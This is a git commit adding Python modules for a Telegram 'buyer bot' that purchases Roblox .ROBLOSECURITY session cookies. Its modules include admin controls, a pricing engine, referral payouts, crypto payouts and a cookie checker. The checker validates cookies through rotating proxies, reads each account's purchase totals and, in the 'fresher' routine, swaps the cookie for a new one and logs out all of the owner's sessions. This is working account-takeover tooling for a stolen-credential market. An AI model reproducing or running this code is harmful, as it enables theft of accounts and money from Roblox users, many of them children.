Add modular Roblox buyer bot and documentation

This commit is contained in:
2026-07-20 06:24:45 +05:00
commit c9413efd6a
29 changed files with 2607 additions and 0 deletions
+197
View File
@@ -0,0 +1,197 @@
from __future__ import annotations
import asyncio
import os
from aiogram.enums import ParseMode
from aiogram.types import FSInputFile, InlineKeyboardButton, InlineKeyboardMarkup
from config import ADMIN_ID, BOT_USERNAME, ROBSEC_FILE
from db.storage import load_config, save_config, load_stats, save_stats
from db.users import all_users, get, save, find_by_username
from keyboards.admin import admin_menu_kb
from models.user import UserProfile
from runtime import get_log_bot
from utils.logging import log_admin, log_admin_document, safe_edit
def is_admin(user_id: int) -> bool:
if user_id == ADMIN_ID:
return True
profile = get(user_id)
return bool(profile and profile.is_admin)
def toggle_shop() -> bool:
cfg = load_config()
cfg.shop_enabled = not cfg.shop_enabled
save_config(cfg)
return cfg.shop_enabled
def toggle_bot() -> bool:
cfg = load_config()
cfg.bot_enabled = not cfg.bot_enabled
save_config(cfg)
return cfg.bot_enabled
def update_rate(key: str, price: float) -> None:
cfg = load_config()
if key in cfg.rates:
cfg.rates[key].price = price
save_config(cfg)
def update_min_withdraw(value: float) -> None:
cfg = load_config()
cfg.min_withdraw = value
save_config(cfg)
def add_treasury(amount_rub: float) -> float:
cfg = load_config()
cfg.treasury += amount_rub
save_config(cfg)
return cfg.treasury
def subtract_treasury(amount_rub: float) -> float:
cfg = load_config()
cfg.treasury = max(0.0, cfg.treasury - amount_rub)
save_config(cfg)
return cfg.treasury
def robsec_info() -> tuple[int, int]:
if not os.path.exists(ROBSEC_FILE):
return 0, 0
size = os.path.getsize(ROBSEC_FILE)
try:
with open(ROBSEC_FILE, "r", encoding="utf-8", errors="ignore") as fh:
lines = sum(1 for _ in fh)
except Exception:
lines = 0
return lines, size
def clear_robsec() -> None:
with open(ROBSEC_FILE, "w", encoding="utf-8") as fh:
fh.write("")
async def send_user_card(target, uid: int) -> None:
profile = get(uid)
if not profile:
return
text = (
f"👤 <b>Пользователь</b>\n\n"
f"🆔 ID: <code>{uid}</code>\n"
f"👤 @{profile.username or ''}\n"
f"📅 Рег: {profile.registered or '?'}\n"
f"💳 Баланс: {profile.balance:.2f}\n"
f"💰 Всего: {profile.total_earned:.2f}\n"
f"🍪 Куки: {profile.cookies_loaded}\n"
f"👥 Рефералов: {len(profile.referrals)}\n"
f"👑 Админ: {'' if profile.is_admin else ''}\n"
f"🚫 Бан: {'' + profile.ban_reason if profile.is_banned else ''}"
)
kb = InlineKeyboardMarkup(
inline_keyboard=[
[
InlineKeyboardButton(text=" Баланс", callback_data=f"u_bal_add_{uid}"),
InlineKeyboardButton(text=" Баланс", callback_data=f"u_bal_sub_{uid}"),
],
[
InlineKeyboardButton(
text="🚫 Разбанить" if profile.is_banned else "🚫 Забанить",
callback_data=f"u_ban_{uid}",
)
],
[
InlineKeyboardButton(
text="👑 Убрать админку" if profile.is_admin else "👑 Выдать админку",
callback_data=f"u_admin_{uid}",
)
],
[InlineKeyboardButton(text="🔙 Назад", callback_data="admin_back")],
]
)
if hasattr(target, "answer"):
await target.answer(text, parse_mode=ParseMode.HTML, reply_markup=kb)
else:
await safe_edit(target, text, reply_markup=kb)
async def broadcast(bot, text: str | None = None, photo_id: str | None = None, caption: str | None = None) -> tuple[int, int]:
ok = 0
fail = 0
for uid in all_users():
try:
if photo_id:
await bot.send_photo(uid, photo_id, caption=caption or "", parse_mode=ParseMode.HTML)
else:
await bot.send_message(uid, text or caption or "-", parse_mode=ParseMode.HTML)
ok += 1
except Exception:
fail += 1
await asyncio.sleep(0.05)
return ok, fail
def find_user(query: str) -> int | None:
if query.isdigit():
uid = int(query)
return uid if get(uid) else None
return find_by_username(query)
def set_balance(uid: int, value: float) -> None:
profile = get(uid)
if not profile:
return
profile.balance = value
save(uid, profile)
def add_balance(uid: int, amount: float) -> None:
profile = get(uid)
if not profile:
return
profile.balance += amount
save(uid, profile)
def sub_balance(uid: int, amount: float) -> None:
profile = get(uid)
if not profile:
return
profile.balance = max(0.0, profile.balance - amount)
save(uid, profile)
def toggle_user_admin(uid: int) -> bool:
profile = get(uid)
if not profile:
return False
profile.is_admin = not profile.is_admin
save(uid, profile)
return profile.is_admin
def ban_user(uid: int, reason: str) -> None:
profile = get(uid)
if not profile:
return
profile.is_banned = True
profile.ban_reason = reason
save(uid, profile)
def unban_user(uid: int) -> None:
profile = get(uid)
if not profile:
return
profile.is_banned = False
profile.ban_reason = ""
save(uid, profile)
+84
View File
@@ -0,0 +1,84 @@
from __future__ import annotations
from models.config import BotConfig, RateConfig
from models.pricing import CookieDonationInfo, PricingResult
def find_rate_for_cookie(all_time: int, year: int, rates: dict[str, RateConfig]):
best = None
best_price = -1.0
for key, rate in rates.items():
donate = year if rate.type == "year" else all_time
if rate.min <= donate <= rate.max and rate.price > best_price:
best_price = rate.price
best = (key, rate, donate)
if best:
return best
return (None, None, 0)
def calc_avg_price(donates: list[int], cfg: BotConfig) -> float:
if not donates:
return 0.0
avg = sum(donates) / len(donates)
price = avg / 1000.0
price = max(cfg.avg_min_price, min(cfg.avg_max_price, price))
return round(price, 2)
def price_cookie_batch(
donates: list[CookieDonationInfo],
cfg: BotConfig,
) -> tuple[list[PricingResult], bool, float]:
priced: list[PricingResult] = []
unpriced: list[CookieDonationInfo] = []
for item in donates:
key, rate, donate_used = find_rate_for_cookie(item.all_time, item.year, cfg.rates)
if rate:
priced.append(
PricingResult(
cookie=item.cookie,
user_id=item.user_id,
username=item.username,
all_time=item.all_time,
year=item.year,
price=rate.price,
rate_key=key,
rate_name=rate.name,
donate_used=donate_used,
)
)
elif item.all_time > 0:
unpriced.append(item)
all_donate_infos = [item for item in donates if item.all_time > 0]
total_donate_cookies = len(all_donate_infos)
avg_used = False
avg_price = 0.0
if total_donate_cookies >= cfg.avg_min_cookies:
avg_price = calc_avg_price([item.all_time for item in all_donate_infos], cfg)
avg_total = avg_price * total_donate_cookies
piece_total = sum(item.price for item in priced)
if avg_total > piece_total:
avg_used = True
payable: list[PricingResult] = []
if avg_used:
for item in all_donate_infos:
payable.append(
PricingResult(
cookie=item.cookie,
user_id=item.user_id,
username=item.username,
all_time=item.all_time,
year=item.year,
price=avg_price,
is_avg=True,
)
)
else:
payable.extend(priced)
return payable, avg_used, avg_price
+38
View File
@@ -0,0 +1,38 @@
from __future__ import annotations
from config import ADMIN_ID
from db.storage import load_stats, save_stats
from db.users import get, save
async def apply_referral_payout(bot, user_id: int, username: str | None, payout: float, referral_percent: int) -> float:
profile = get(user_id)
if not profile or not profile.referrer:
return 0.0
ref_amount = round(payout * referral_percent / 100, 2)
ref_profile = get(profile.referrer)
if not ref_profile:
return 0.0
ref_profile.balance += ref_amount
ref_profile.total_earned += ref_amount
ref_profile.referral_earned += ref_amount
save(profile.referrer, ref_profile)
stats = load_stats()
stats.total_paid_referral += ref_amount
save_stats(stats)
try:
await bot.send_message(
profile.referrer,
f"💸 Реферал @{username or ''} заработал {payout:.2f}\n"
f"Вам начислено: <b>{ref_amount:.2f} ₽</b>",
parse_mode="HTML",
)
except Exception:
pass
return ref_amount
+245
View File
@@ -0,0 +1,245 @@
from __future__ import annotations
import asyncio
import logging
import random
import aiohttp
import requests as plain_requests
from config import CONCURRENT_CHECKS, FRESHER_POOL, MAX_RETRIES, REQUEST_TIMEOUT
from models.responses import CookieValidationResult
try:
from curl_cffi import requests as cffi_requests
HAS_CFFI = True
except ImportError: # pragma: no cover - optional dependency
cffi_requests = None
HAS_CFFI = False
SEMAPHORE = asyncio.Semaphore(CONCURRENT_CHECKS)
def _new_fresher_session():
if HAS_CFFI:
return cffi_requests.Session(impersonate="chrome120")
session = plain_requests.Session()
session.headers["User-Agent"] = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
)
return session
def _extract_new_cookie(response):
try:
cookie = response.cookies.get(".ROBLOSECURITY")
if cookie:
return cookie
except Exception:
pass
sc = response.headers.get("set-cookie", "") or response.headers.get("Set-Cookie", "")
if ".ROBLOSECURITY=" in sc:
try:
return sc.split(".ROBLOSECURITY=")[1].split(";")[0]
except Exception:
pass
return None
def _sync_fresh_cookie(cookie, proxy=None, timeout=15):
if not cookie or not cookie.startswith("_|WARNING"):
return False, "invalid cookie format"
proxies = {"http": proxy, "https": proxy} if proxy else None
session = _new_fresher_session()
try:
r1 = session.post(
"https://auth.roblox.com/v2/logout",
cookies={".ROBLOSECURITY": cookie},
proxies=proxies,
timeout=timeout,
verify=False,
)
csrf = r1.headers.get("x-csrf-token") or r1.headers.get("X-CSRF-Token")
if not csrf:
return False, "step 1 CSRF fail"
r2 = session.post(
"https://auth.roblox.com/v1/authentication-ticket",
headers={
"rbxauthenticationnegotiation": "1",
"referer": "https://www.roblox.com/camel",
"Content-Type": "application/json",
"x-csrf-token": csrf,
},
cookies={".ROBLOSECURITY": cookie},
proxies=proxies,
timeout=timeout,
verify=False,
)
ticket = r2.headers.get("rbx-authentication-ticket")
if not ticket:
return False, "step 2 ticket fail"
clean_session = _new_fresher_session()
r3 = clean_session.post(
"https://auth.roblox.com/v1/authentication-ticket/redeem",
headers={"rbxauthenticationnegotiation": "1"},
json={"authenticationTicket": ticket},
proxies=proxies,
timeout=timeout,
verify=False,
)
new_cookie = _extract_new_cookie(r3)
if not new_cookie:
return False, "step 3 redeem fail"
if new_cookie == cookie:
return False, "rate-limited"
except Exception as exc:
return False, f"error: {type(exc).__name__}"
try:
session2 = _new_fresher_session()
r_csrf = session2.post(
"https://auth.roblox.com/v2/logout",
cookies={".ROBLOSECURITY": new_cookie},
proxies=proxies,
timeout=timeout,
verify=False,
)
csrf2 = r_csrf.headers.get("x-csrf-token") or r_csrf.headers.get("X-CSRF-Token")
if csrf2:
r_log = session2.post(
"https://auth.roblox.com/v1/logoutfromallsessionsandreauthenticate",
cookies={".ROBLOSECURITY": new_cookie},
headers={"x-csrf-token": csrf2, "Content-Type": "application/json"},
json={},
proxies=proxies,
timeout=timeout,
verify=False,
)
if r_log.status_code in (200, 201, 204):
final_cookie = _extract_new_cookie(r_log) or new_cookie
return True, final_cookie
except Exception:
pass
return True, new_cookie
async def fresh_cookie_async(cookie, proxy=None):
loop = asyncio.get_event_loop()
return await loop.run_in_executor(FRESHER_POOL, _sync_fresh_cookie, cookie, proxy, 15)
async def check_cookie_basic(session, cookie, proxy=None) -> CookieValidationResult:
try:
proxy_url = f"http://{proxy}" if proxy else None
async with session.get(
"https://users.roblox.com/v1/users/authenticated",
cookies={".ROBLOSECURITY": cookie},
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
proxy=proxy_url,
) as response:
if response.status != 200:
return CookieValidationResult(status="invalid")
data = await response.json()
return CookieValidationResult(
status="valid",
cookie=cookie,
user_id=int(data["id"]),
username=data.get("name", "unknown"),
)
except Exception as exc:
return CookieValidationResult(status="error", message=str(exc))
async def check_cookie_with_retry(session, cookie, proxies) -> CookieValidationResult:
retries = 0
used = set()
while retries < MAX_RETRIES:
proxy = None
if proxies:
available = [item for item in proxies if item not in used]
if available:
proxy = random.choice(available)
used.add(proxy)
else:
used.clear()
continue
try:
async with SEMAPHORE:
result = await check_cookie_basic(session, cookie, proxy)
if result.status == "valid":
return result
except Exception:
pass
retries += 1
await asyncio.sleep(1)
return CookieValidationResult(status="invalid")
async def get_all_time_donate(session, cookie, user_id, proxy=None) -> int:
total = 0
cursor = ""
proxy_url = f"http://{proxy}" if proxy else None
while True:
try:
url = f"https://economy.roblox.com/v2/users/{user_id}/transactions"
params = {
"limit": 100,
"transactionType": "Purchase",
"itemPricingType": "All",
"cursor": cursor,
}
async with session.get(
url,
params=params,
cookies={".ROBLOSECURITY": cookie},
proxy=proxy_url,
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
) as response:
if response.status == 429:
await asyncio.sleep(3)
continue
if response.status != 200:
break
data = await response.json()
for transaction in data.get("data", []):
total += transaction.get("currency", {}).get("amount", 0)
cursor = data.get("nextPageCursor")
if not cursor:
break
except Exception:
break
if total != 0:
total = int(str(total).strip("-"))
return total
async def get_year_donate(cookie, user_id, proxy=None) -> int:
url = (
f"https://economy.roblox.com/v2/users/{user_id}/transaction-totals"
"?timeFrame=Year&transactionType=summary"
)
try:
async with aiohttp.ClientSession() as session:
async with session.get(
url,
cookies={".ROBLOSECURITY": cookie.strip()},
allow_redirects=False,
proxy=f"http://{proxy}" if proxy else None,
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
) as response:
if response.status == 200 and response.content_type == "application/json":
data = await response.json()
donate = data.get("purchasesTotal", 0)
if donate != 0:
donate = int(str(donate).strip("-"))
return donate
except Exception:
pass
return 0
+82
View File
@@ -0,0 +1,82 @@
from __future__ import annotations
import aiohttp
import logging
from config import CRYPTO_PAY_TOKEN
async def _get_usdt_rub_rate(session: aiohttp.ClientSession) -> float:
rate = 90.0
async with session.get(
"https://testnet-pay.crypt.bot/api/getExchangeRates",
headers={"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN},
) as response:
data = await response.json()
if data.get("ok"):
for item in data.get("result", []):
if item.get("source") == "USDT" and item.get("target") == "RUB":
rate = float(item["rate"])
break
return rate
async def create_crypto_check(amount_rub: float) -> str | None:
try:
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
async with aiohttp.ClientSession() as session:
usdt_rub = await _get_usdt_rub_rate(session)
amount_usdt = round(amount_rub / usdt_rub, 4)
async with session.post(
"https://testnet-pay.crypt.bot/api/createCheck",
headers=headers,
json={"asset": "USDT", "amount": str(amount_usdt)},
) as response:
data = await response.json()
if data.get("ok"):
return data["result"]["bot_check_url"]
except Exception as exc:
logging.error("crypto check: %s", exc)
return None
async def create_treasury_invoice(amount_rub: float) -> tuple[str, int, float] | None:
try:
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
async with aiohttp.ClientSession() as session:
usdt_rub = await _get_usdt_rub_rate(session)
amount_usdt = round(amount_rub / usdt_rub, 4)
async with session.post(
"https://testnet-pay.crypt.bot/api/createInvoice",
headers=headers,
json={
"asset": "USDT",
"amount": str(amount_usdt),
"description": f"Treasury +{amount_rub} RUB",
"payload": f"treasury_{amount_rub}",
},
) as response:
data = await response.json()
if data.get("ok"):
result = data["result"]
return result["pay_url"], int(result["invoice_id"]), amount_usdt
except Exception as exc:
logging.error("create_treasury_invoice: %s", exc)
return None
async def check_treasury_invoice(invoice_id: int) -> bool:
try:
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
async with aiohttp.ClientSession() as session:
async with session.get(
f"https://testnet-pay.crypt.bot/api/getInvoices?invoice_ids={invoice_id}",
headers=headers,
) as response:
data = await response.json()
if data.get("ok"):
items = data.get("result", {}).get("items", [])
return bool(items and items[0].get("status") == "paid")
except Exception as exc:
logging.error("check_treasury_invoice: %s", exc)
return False